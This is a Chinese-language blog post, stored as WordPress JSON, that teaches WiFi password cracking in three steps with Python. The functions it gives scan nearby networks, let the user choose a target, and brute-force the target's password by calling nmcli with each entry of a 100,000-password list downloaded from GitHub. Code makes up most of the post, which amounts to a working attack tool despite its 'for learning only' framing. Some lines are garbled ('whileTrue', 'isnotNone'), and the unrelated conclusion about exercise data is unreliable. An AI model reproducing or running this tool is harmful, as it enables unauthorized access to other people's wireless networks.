{"id":9748,"date":"2022-06-15T23:00:37","date_gmt":"2022-06-15T15:00:37","guid":{"rendered":"http:\/\/jc.a300.cn/luyouwang\/?p=9748"},"modified":"2022-06-15T23:00:37","modified_gmt":"2022-06-15T15:00:37","slug":"%e7%94%a8python%e8%84%9a%e6%9c%ac%e5%b0%86wifi%e5%af%86%e7%a0%81%e7%a0%b4%e8%a7%a3%ef%bc%883%e6%ad%a5%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%81%ef%bc%89","status":"publish","type":"post","link":"http:\/\/jc.a300.cn/luyouwang\/9748.html","title":{"rendered":"\u7528Python\u811a\u672c\u5c06wifi\u5bc6\u7801\u7834\u89e3\uff083\u6b65\u7834\u89e3WiFi\u5bc6\u7801\uff09"},"content":{"rendered":"

\u5f88\u591a\u7528\u6237\u90fd\u5f88\u597d\u5947\u90a3\u4e9b\u7f51\u7edc\u5927\u795e\u662f\u600e\u4e48\u628a\u65e0\u7ebf\u8def\u7531\u5668\u7684wifi\u5bc6\u7801\u7834\u89e3\u7684\uff0c\u5176\u5b9e\u7834\u89e3WiFi\u5bc6\u7801\u7684\u96be\u5ea6\u4ec5\u9650\u4e8e\u8def\u7531\u5668\u7684\u4e3b\u4eba\u628a\u5bc6\u7801\u8bbe\u7f6e\u5f97\u591a\u590d\u6742\u800c\u5df2\uff0c\u5982\u679c\u662f\u7528\u6bd4\u8f83\u5e38\u7528\u7684\u5f31\u5bc6\u7801\u53e3\u4ee4\uff0c\u90a3\u4e48\u5c31\u5f88\u5bb9\u6613\u5c06WiFi\u7834\u89e3\u51fa\u6765\u3002<\/p>\n

\"\"<\/a><\/p>\n

\u5982\u4f55\u7834\u89e3WiFi\u5bc6\u7801\uff1f<\/p>\n

\u672c\u6587\uff0c\u5c06\u4f1a\u901a\u8fc7Python\u6559\u5927\u5bb6\u5982\u4f55\u5b9e\u73b0\uff0c\u8fd9\u91cc\u7eaf\u7cb9\u662f\u4e3a\u4e86\u5b66\u4e60\u7528\u9014\u3002<\/p>\n

1. WiFi\u5217\u8868<\/h2>\n

\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u83b7\u53d6\u9644\u8fd1\u7684WiFi\u5217\u8868\u3002<\/p>\n

\u4e0b\u9762\uff0c\u5c31\u6765\u5199\u4e00\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u9644\u8fd1\u7684WiFi\u5217\u8868\uff0c\u51fd\u6570\u547d\u540d\u4e3adisplay_targets\uff1a<\/p>\n

def display_targets(networks, security_type):\r\n    print(\"Select a target: \\n\")\r\n    \r\n    rows, columns = os.popen('stty size', 'r').read().split()\r\n    for i in range(len(networks)):\r\n        width = len(str(str(i+1)+\". \"+networks[i]+security_type[i]))+2\r\n        spacer = \" \"\r\n        \r\n        if (int(columns) >= 100):\r\n            calc = int((int(columns)-int(width))*0.75)\r\n        else:\r\n                calc = int(columns)-int(width)\r\n        \r\n        for index in range(calc):\r\n            spacer += \".\"\r\n            if index == (calc-1):\r\n                spacer += \" \"\r\n            \r\n        print(str(i+1)+\". \"+networks[i]+spacer+security_type[i])<\/pre>\n

\u8fd9\u91cc\uff0c\u6211\u4eec\u4f1a\u7528\u5230ssid\u5de5\u5177\u5305\uff0c\u7528\u6765\u83b7\u53d6\u9644\u8fd1\u7684WiFi\u5217\u8868\uff0c\u5b58\u5165\u5230\u53c2\u6570networks\u3002<\/p>\n

\"\"<\/a><\/p>\n

 <\/p>\n

2. \u9009\u62e9WiFi<\/h2>\n

\u83b7\u53d6WiFi\u5217\u8868\u4e4b\u540e\uff0c\u4e0b\u4e00\u6b65\u8981\u505a\u7684\u5c31\u662f\u9009\u62e9\u6211\u4eec\u60f3\u8981\u8fde\u63a5\u7684WiFi\u4fe1\u53f7\u3002<\/p>\n

def prompt_for_target_choice(max):\r\n    whileTrue:\r\n        try:\r\n            selected = int(input(\"\\nEnter number of target: \"))\r\n            if(selected >= 1and selected <= max):\r\n                return selected - 1\r\n        except Exception as e:\r\n            ignore = e\r\n\r\n        print(\"Invalid choice: Please pick a number between 1 and \" + str(max))<\/pre>\n

\u8fd9\u91cc\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u4e00\u4e9b\u901a\u7528\u7684Python\u529f\u80fd\u3002<\/p>\n

 <\/p>\n

3. \u66b4\u529b\u7834\u89e3<\/h3>\n

\u76ee\u524d\u5df2\u7ecf\u83b7\u53d6\u5e76\u4e14\u9009\u62e9\u4e86\u60f3\u8981\u8fde\u63a5\u7684WiFi\uff0c\u90a3\u4e48\u5982\u4f55\u83b7\u53d6\u5230\u5b83\u7684\u5bc6\u7801\u5462\uff1f<\/p>\n

\u8fd9\u91cc\u8981\u7528\u5230\u4e00\u79cd\u6bd4\u8f83\u5e38\u89c1\u7684\u65b9\u5f0f\uff1a\u66b4\u529b\u7834\u89e3<\/strong>\u3002<\/p>\n

\u8fd9\u91cc\uff0c\u8981\u7528\u5230Github\u4e0a\u4e00\u4e2a\u9879\u76ee\uff0c\u5b83\u6536\u96c6\u4e86\u6700\u5e38\u7528\u768410\u4e07\u4e2aWiFi\u5bc6\u7801\u3002\u6211\u4eec\u5c31\u7528\u774010\u4e07\u4e2a\u5bc6\u7801\u66b4\u529b\u89e3\u9501WiFi\u5373\u53ef\u3002<\/p>\n

def brute_force(selected_network, passwords, args):\r\n    for password in passwords:\r\n        # necessary due to NetworkManager restart after unsuccessful attempt at login\r\n        password = password.strip()\r\n\r\n        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file\r\n        if isinstance(password, str):\r\n            decoded_line = password\r\n        else:\r\n            decoded_line = password.decode(\"utf-8\")\r\n            \r\n        if args.verbose isTrue:\r\n            print(bcolors.HEADER+\"** TESTING **: with password '\" +\r\n                decoded_line+\"'\"+bcolors.ENDC)\r\n\r\n        if (len(decoded_line) >= 8):\r\n            time.sleep(3)\r\n\r\n            creds = os.popen(\"sudo nmcli dev wifi connect \" +\r\n                selected_network+\" password \"+decoded_line).read()\r\n                \r\n            # print(creds)\r\n\r\n            if (\"Error:\"in creds.strip()):\r\n                if args.verbose isTrue:\r\n                    print(bcolors.FAIL+\"** TESTING **: password '\" +\r\n                        decoded_line+\"' failed.\"+bcolors.ENDC)\r\n            else:\r\n                sys.exit(bcolors.OKGREEN+\"** KEY FOUND! **: password '\" +\r\n                    decoded_line+\"' succeeded.\"+bcolors.ENDC)\r\n        else:\r\n            if args.verbose isTrue:\r\n                print(bcolors.OKCYAN+\"** TESTING **: password '\" +\r\n                    decoded_line+\"' too short, passing.\"+bcolors.ENDC)\r\n\r\n    print(bcolors.FAIL+\"** RESULTS **: All passwords failed :(\"+bcolors.ENDC)<\/pre>\n

\u6838\u5fc3\u529f\u80fd3\u4e2a\u51fd\u6570\u5c31\u5b8c\u6210\u4e86\uff0c\u53ea\u7528\u4e86<\/span>60\u884c<\/span><\/strong>Python\u4ee3\u7801\uff01<\/span><\/p>\n

\u4e0b\u9762\u5c31\u628a\u5b83\u4eec\u4e32\u8054\u5728\u4e00\u8d77\uff1a<\/span><\/p>\n

def main():\r\n    require_root()\r\n    args = argument_parser()\r\n\r\n    # The user chose to supplied their own url\r\n    if args.url isnotNone:\r\n        passwords = fetch_password_from_url(args.url)\r\n    # user elect to read passwords form a file\r\n    elif args.file isnotNone:\r\n        file = open(args.file, \"r\")\r\n        passwords = file.readlines()\r\n        ifnot passwords:\r\n            print(\"Password file cannot be empty!\")\r\n            exit(0)\r\n        file.close()\r\n    else:\r\n        # fallback to the default list as the user didnt supplied a password list\r\n        default_url = \"http:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Passwords\/Common-Credentials\/10-million-password-list-top-100000.txt\"\r\n        passwords = fetch_password_from_url(default_url)\r\n\r\n    # grabbing the list of the network ssids\r\n    func_call = start(1)\r\n    networks = func_call[0]\r\n    security_type = func_call[1]\r\n    \r\n    ifnot networks:\r\n        print(\"No networks found!\")\r\n        sys.exit(-1)\r\n\r\n    display_targets(networks, security_type)\r\n    max = len(networks)\r\n    pick = prompt_for_target_choice(max)\r\n    target = networks[pick]\r\n    \r\n    print(\"\\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.\")\r\n\r\n    brute_force(target, passwords, args)<\/pre>\n

\u4e0d\u540c\u7684\u989c\u8272\u4ee3\u8868\u4e0d\u540c\u4e0d\u540c\u7684\u7ed3\u679c\uff1a<\/strong><\/p>\n

    \n
  • \u7ea2\u8272\uff1a\u6d4b\u8bd5\u5931\u8d25<\/span><\/li>\n
  • \u7eff\u8272\uff1a\u7834\u89e3\u6210\u529f<\/span><\/li>\n
  • \u7d2b\u8272\uff1a\u6d4b\u8bd5\u4e2d<\/span><\/li>\n<\/ul>\n

    \u73b0\u5728\uff0c\u662f\u4e0d\u662f\u53d1\u73b0\u8fd9\u4e2a\u770b\u4e0a\u53bb\u5f88\u590d\u6742\u7684\u4e8b\u60c5\u53d8\u5f97\u7b80\u5355\u8bb8\u591a\uff1f<\/p>\n

    \u7ed3\u8bed\uff1a<\/h2>\n

    \u8fd0\u52a8\u4e2d\u5145\u6ee1\u4e86\u5404\u79cd\u4e0d\u540c\u7ef4\u5ea6\u7684\u6570\u636e\uff0c\u4e0a\u8ff0\u53ea\u662f\u5217\u4e3e\u51fa\u4e00\u4e9b\u6211\u4e2a\u4eba\u6bd4\u8f83\u611f\u5174\u8da3\u7684\u7ef4\u5ea6\u8fdb\u884c\u4e86\u5206\u6790\u4e0e\u53ef\u89c6\u5316\u3002<\/p>\n

    \u5e0c\u671b\uff0c\u80fd\u591f\u5bf9\u4f60\u6709\u6240\u542f\u793a\uff0c\u80fd\u591f\u53d1\u6398\u66f4\u6709\u4ef7\u503c\u3001\u6709\u8da3\u7684\u4fe1\u606f\uff0c\u5728\u5b66\u4e60\u548c\u4e50\u8da3\u4e2d\u5f97\u5230\u6700\u4f73\u7684\u5b9e\u8df5\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

    \u5f88\u591a\u7528\u6237\u90fd\u5f88\u597d\u5947\u90a3\u4e9b\u7f51\u7edc\u5927\u795e\u662f\u600e\u4e48\u628a\u65e0\u7ebf\u8def\u7531\u5668\u7684wifi\u5bc6\u7801\u7834\u89e3\u7684\uff0c\u5176\u5b9e\u7834\u89e3WiFi\u5bc6\u7801\u7684\u96be\u5ea6\u4ec5\u9650\u4e8e\u8def\u7531\u5668\u7684\u4e3b\u4eba\u628a\u5bc6\u7801\u8bbe\u7f6e\u5f97\u591a\u590d\u6742\u800c\u5df2\uff0c\u5982\u679c\u662f\u7528\u6bd4\u8f83\u5e38\u7528\u7684\u5f31\u5bc6\u7801\u53e3\u4ee4\uff0c\u90a3\u4e48\u5c31\u5f88\u5bb9\u6613\u5c06\u2026<\/p>\n","protected":false},"author":680,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[3254,3253,3255],"attr":[],"class_list":{"0":"post-9748","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"hentry","6":"category-luyouqi","7":"tag-3wifi","8":"tag-wifi","10":"entry"},"views":31817,"_links":{"self":[{"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/posts\/9748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/users\/680"}],"replies":[{"embeddable":true,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/comments?post=9748"}],"version-history":[{"count":0,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/posts\/9748\/revisions"}],"wp:attachment":[{"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/media?parent=9748"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/categories?post=9748"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/tags?post=9748"},{"taxonomy":"attr","embeddable":true,"href":"http:\/\/jc.a300.cn/luyouwang\/wp-json\/wp\/v2\/attr?post=9748"}],"curies":[{"name":"wp","href":"http:\/\/api.w.org\/{rel}","templated":true}]}}